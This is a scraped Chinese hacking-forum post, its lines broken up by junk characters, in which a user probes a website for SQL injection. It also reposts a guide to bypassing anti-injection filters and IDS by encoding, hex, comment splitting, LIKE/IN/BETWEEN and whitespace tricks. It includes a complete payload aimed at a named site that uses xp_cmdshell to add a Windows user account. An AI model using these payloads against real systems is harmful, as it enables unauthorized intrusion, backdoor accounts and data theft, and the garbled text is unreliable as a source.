路过这个网站,检测了一下.& ?7 ~) _) q" n% g2 T
http://www.xxx.cn/Article.asp?ID=117 and 1=13 V/ y4 P1 D4 e1 \/ V2 n& W5 W
直接返回主页
- }/ F( T( ~' F/ Ihttp://www.xxx.cn/Article.asp?ID=117 or 1=1
! k# p r7 |" E直接返回主页
, n1 U8 _! w" z# x' \) T7 t. o/ Vhttp://www.xxx.cn/Article.asp?ID=117 or
D) ~9 U4 m8 N% v没有返回主页 没有过滤or) S. V: M; G" q6 f# m
http://www.xxx.cn/Article.asp?ID=117 and
; _+ o5 W+ R" R" P+ }直接返回主页 看来过滤了and
, M' @( _; e8 J Y0 l: }http://www.xxx.cn/Article.asp?ID=117 or 1
{" m V# p- P9 f3 m) N, w0 }没有返回主页 即没有过滤or 也没有过滤1# P3 p2 o9 g0 T
http://www.xxx.cn/Article.asp?ID=117 or 1=1( Y% F4 x& @, h) W
直接返回主页 很明显过滤了等号
2 C- w. G) p9 J* R, _or的特性是与and相反的.
( H% l5 A3 ]9 _5 eor 1=1 爆错 或与原页面不同4 ?' u. Q0 x$ M, V2 ]
or 1=2 原页面相同0 _, g8 n: E- l8 \( j2 `: a% o
这样就是一个注入点
0 B# F% m6 l( X) y但他过滤了=号 我就用><号代替=号吧!
+ ~8 N- t$ R1 P% k5 Qor 1<2 很明显是正确的,所以应该与原页面不同0 z5 a' X! d9 y
or 1>2 很明显是错误的,所以应该与原页面相同
* z- z7 M% G4 k- t" O然后看看有没有过滤其他的查询语句,比如select.* u6 {( g4 e: C/ c
http://www.xxx.cn/Article.asp?ID=117 select
z2 u( A5 }8 }) C4 X Z直接返回主页" m" f2 ~& b; J) |- ` b" n- c
又迷茫了.. a; X% ^, `1 \; D- b) W
; {# e* K1 r9 E, M& {
* |: B& `; ~+ N' m5 i0 w+ bcookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗: T. P- s1 i: @: v8 c. u8 W2 D8 Z8 d
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
9 b C6 i, s1 h/ T( s, l================================================
( Z! J, _- A/ w5 o( o8 E以下是转贴:- \8 l; D, ?) H- V' j, E# x
l( p( l0 E9 `; Z9 {# s
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
9 S7 |" v9 `, T$ {经过我的收集,大部分的防注入程序都过滤了以下关键字:
* L: V' _8 k% e8 Pand | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = K& G* B+ E1 j- S. K; f
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 . _4 m# [6 m7 K y) H! o7 D
对于关键字的过滤,以下是我收集的以及我个人的一些想法。 - t" [6 R# Z0 e3 L# T5 m$ b
1、运用编码技术绕过 - j9 I; _- j: A ~
如URLEncode编码,ASCII编码绕过。例如or 1=1即
0 T- B! v3 ~2 \) O* u%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
: Q2 p# o; t* O/ ?6 U6 |7 a, u" V/ f0 h& c1 }3 A
2、通过空格绕过
$ ~* O8 O9 k( ?9 M; ~' x( ^如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 : J' G* \) }! A; o2 Y; P, g
or’ swords’ =‘swords’
: n2 Y5 A" A' \5 m4 M! C! m& P& H,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 ' U- L" P6 N# i! N) q8 z
3、运用字符串判断代替
- o# u% a* K1 c0 e6 p9 \用经典的or 1=1判断绕过,如
$ G& w; L m% yor ’swords’ =’swords’ * _! F5 L2 J1 S( Y3 X
,这个方法就是网上在讨论的。
) H `% i; x( } W5 J4、通过类型转换修饰符N绕过 7 v" v" E- x9 j; ]. } v) a) m
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。 : W9 {5 D: @& S5 o
5、通过+号拆解字符串绕过
2 ^! f: e! V+ d, u+ H效果值得考证,但毕竟是一种方法。如 - E! Y4 j2 m$ |( d. k# O
or ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) % \2 \9 N1 @, r& R# Q
' A; Y9 a2 ]' `) p, L5 L/ X6、通过LIKE绕过 & X$ F- q) @9 V: ~, ^
以前怎么就没想到呢?如or
, L8 A3 d9 Q* V+ B# f0 X/ U* m’swords’ LIKE ’sw’ - ]! ], O9 _8 N; z; O8 t
!!!显然可以很轻松的绕过 : q, Y/ h6 @$ j& M" ~& Q ]+ \
“=”“>”
4 a5 h; g) D5 V% [- t% J- @的限制……
2 |$ @/ v4 [: c, l7 x# y7、通过IN绕过
* Z6 ~1 c( X) j与上面的LIKE的思路差不多,如
% V) G, Q+ l. j/ ror ’swords’ IN (’swords’)
$ G5 S+ u. x% Q5 v. f( O9 i% Y
" A) X; y+ j- }8、通过BETWEEN绕过 6 ^. g& a3 p2 p3 N, E
如 ' P/ l3 S3 R% C s+ c. t9 s$ w
or ’swords’ BETWEEN ’rw’ AND ’tw’
4 E- m* u8 z& O4 P- m- d! Q3 Z2 a) T. D" P
9、通过>或者<绕过 & r5 |4 C* @8 p6 h
or ’swords’ > ’sw’
# [5 U+ d8 Y1 s3 }2 kor ’swords’ < ’tw’
6 {. {+ I6 P/ s( P$ p3 d0 Y0 Nor 1<3
1 W% v& i/ Y7 @$ Y$ p" h…… ! P( e0 x+ [: N" p' @7 v
10、运用注释语句绕过 & l: v5 }! j( M# v4 X: U) R9 B
用/**/代替空格,如: % l( }5 g! T/ P% I- R+ O9 P7 |* B
UNION /**/ Select /**/user,pwd,from tbluser
% s7 {* c' C0 W, J. Z7 i; J. M' x0 C. m( h
用/**/分割敏感词,如:
) _) q. K: [+ e) E/ S% Q/ q s" GU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
* x& W2 G; O! U# V% d8 ^" X( C) T5 Y* `( P/ m& c" X+ E/ S) T: M0 N
11、用HEX绕过,一般的IDS都无法检测出来 + D. [8 k% j t
0x730079007300610064006D0069006E00 =hex(sysadmin)
) C- E/ B1 M6 ^+ b: f- [! j0x640062005F006F0077006E0065007200 =hex(db_owner) ; T& k( y" ~8 c& X9 _* z
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
3 w. i" G8 O: p declare @a sysname
: W. P2 U+ L) O. K# ^2 W& D3 q select @a=
2 F; A, ^0 G) d8 s, E1 s. D exec master.dbo.xp_cmdshell @a
; m$ r% l1 ?8 |效果 + F1 q0 X% Y) e- t( P) ^
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- - ?3 P6 s& }- l1 f M# j
% b% S S2 N2 `# \) w; z' R8 L! X
其中的 4 a2 v& W7 I% B( `- D- x
0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
" W7 P5 {( B A就是 5 @" d) ]3 Q; Y0 w( C, D9 z: O
“net user angel pass /add”
/ L5 g+ ?0 i6 H+ V( t
2 L5 ^2 T& A( _, Z. k一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。
# W! C+ T4 M1 O: C, j/ g* m" ]引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
?0 T y0 a/ ]" G0 I8 [4 s另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
4 ^( b! D; B* m8 x# ~Copy code/ {3 F$ X2 h5 p
select * from table exec xp_cmdshell'xxxxxxxxxx'1 e1 P; S9 |# i# L, L& P8 \
) C! \! u% a' L* L& G
# c! Q7 e' z7 f8 Eselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'( V6 j! G5 [9 h0 G' }
) z$ `( J3 [0 c0 n" S) c" v, V' H K
$ k( r8 [2 f9 M3 s2 G; E" |4 B
select * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
1 J3 b/ I) |$ m( \; A8 h4 s3 s$ Y4 m0 ^9 H$ r+ Z
0 U/ a% J: k' I, w6 w1 V. d& t
select * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'0 v) f0 Z. y9 F+ j
/ w+ u! h) e# f; I' q9 t% }的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?4 }. u6 F( B T. M& N! ^3 R! D
: l: _+ T, f- w2 I/ S% S$ `
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了4 A0 Y, w5 h3 _: l0 X& T* A
可能大家早就知道了,不管怎么说,发在这里吧!( r; }6 [7 e% B1 o; G( s! [7 l
9 S% |- Z2 g; R3 D& \/ Y
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。4 u! h. {( S9 d5 o2 H5 {% ~
, H# z* s. i$ e; n7 H6 S( M3 I8 c: c4 C. G: j. f$ e
. x7 D; [- c+ @* | m' N; u+ y
对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,+ D i5 R, h! }9 k
比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
% @. d d" k- D" ]
+ ^$ U& R: m5 p( e |